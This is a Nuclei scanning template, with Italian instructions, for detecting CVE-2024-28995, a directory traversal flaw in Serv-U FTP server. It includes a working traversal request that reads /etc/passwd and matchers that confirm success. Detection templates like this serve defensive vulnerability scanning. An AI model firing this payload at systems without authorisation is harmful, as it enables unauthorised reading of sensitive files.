
Modello Nuclei per rilevare CVE-2024-28995, una vulnerabilità di directory traversal nel server FTP Serv-U, che consente la lettura di file tramite richieste HTTP create ad arte.
Verifica la vulnerabilità di directory traversal in Serv-U versione 15.4.2 e precedenti, che consente di leggere file sensibili come /etc/passwd.
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
Per utilizzare questo template con Nuclei, salva il contenuto del template in un file chiamato CVE-2024-28995.yaml ed esegui il seguente comando:
nuclei -t CVE-2024-28995.yaml -u <target-url>
Sostituisci <target-url> con l'URL del target che desideri scansionare.
Per qualsiasi richiesta o ulteriori informazioni, puoi contattarmi tramite: